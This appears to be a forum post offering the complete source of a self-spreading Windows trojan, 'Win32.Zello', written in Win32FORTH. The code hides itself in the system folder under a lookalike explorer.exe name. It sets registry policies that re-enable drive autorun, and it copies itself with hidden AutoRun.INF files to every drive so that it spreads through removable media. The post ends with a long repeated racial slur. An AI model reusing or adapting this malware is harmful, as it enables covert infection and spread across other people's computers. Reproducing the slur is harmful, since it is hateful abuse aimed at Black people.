'Fake recycler' trojan remake in Win32FORTH

Rate it, collegas ;) ...

\ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
\ Win32.Zello trojan v0.7
\ Developed in 2007 by Rozzamarine
\ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Needs NoConsole.F

:Class ExString <Super String
:M Addr: Get: Self DROP ;M
:M Len: Get: Self NIP ;M
;Class

ExString MyName
ExString Drive S" *:\" Put: Drive
ExString Path ExString AutoRun
ExString Text
FILE_ATTRIBUTE_HIDDEN FILE_ATTRIBUTE_SYSTEM FILE_ATTRIBUTE_READONLY OR OR Constant Attribs
0 VALUE FHandle
Variable Zero

: MAIN
&ProgNam Count Put: MyName
\ Получение системной директории...
MAX_PATH Zero !
Zero Addr: Path Call GetSystemDirectory
Addr: Path Swap Put: Path
\ Корекция полученного пути
Get: Path + 1- C@ ASCII \
<> IF S" \" Add: Path Endif
S" explоrer.exe" Add: Path
\ Сравнение путей
FILE_ATTRIBUTE_NORMAL Addr: Path call SetFileAttributes DROP \ Снятие аттрибутов
Get: MyName Get: Path ISTR= NOT
if 0 Addr: Path Addr: MyName call CopyFile \ Копирование в системную директорию
\ Эмуляция открытия директории в Проводнике.
S" explorer.EXE " Put: Text
Get: MyName Drop 3 Add: Text
Addr: Text zEXEC-CMD DROP
IF \ Если копирование успешно...
Attribs Addr: Path call SetFileAttributes DROP \ Скрытие файла резидента.
Addr: Path zEXEC-CMD EndIf \ Запуск резидента
BYE \ Выход из программы.
endif
\ Установка настроек реестра...
0 Zero !
HKEY_CURRENT_USER Z" Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"
KEY_WRITE (RegCreateKey) TO FHandle
FHandle Z" NoDriveAutoRun" REG_DWORD Zero 4 (RegSetValue) DROP
FHandle Z" NoDriveTypeAutoRun" REG_DWORD Zero 4 (RegSetValue) DROP
FHandle (RegCloseKey) DROP
BEGIN
\ Поиск по всем дискам...
[ ASCII Z 1+ ] LITERAL ASCII C
DO
I Addr: Drive C!
Addr: Drive call GetDriveType
1 > IF
\ Формируем адрес.
Get: Drive Put: Path
S" Zello.EXE" Add: Path
\ Меняем аттрибут.
FILE_ATTRIBUTE_NORMAL Addr: Path call SetFileAttributes DROP
\ Копируем себя по адресу.
0 Addr: Path Addr: MyName call CopyFile
If \ Если копирование прошло успешно...
\ Скрываем файл.
Attribs Addr: Path call SetFileAttributes DROP
Get: Drive Put: AutoRun
S" AutoRun.INF" Add: AutoRun
\ Меняем аттрибут.
FILE_ATTRIBUTE_NORMAL Addr: AutoRun call SetFileAttributes DROP
\ Создаем AutoRun-файл.
Get: AutoRun GENERIC_WRITE CREATE-FILE
0= If \ Если удалось создать файл...
TO FHandle
\ Подготовка текста для записи.
S" [autorun]\n" Put: Text
S" Open=" Add: Text Get: Path Add: Text
S" \nshellExecute=" Add: Text Get: Path Add: Text
S" \nshell\Auto\command=" Add: Text Get: Path Add: Text
S" \nshell=Auto" Add: Text
\ Запись.
Get: Text FHandle Write-FILE DROP
\ Закртыие файла.
FHandle Close-File DROP
\ Скрываем файл.
Attribs Addr: AutoRun call SetFileAttributes DROP
Else DROP
Endif
Endif
EndIF
LOOP
10000 MS
AGAIN
;

NoConsoleIO NoConsoleInImage
' MAIN TurnKey Zello.EXE
BYE

FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER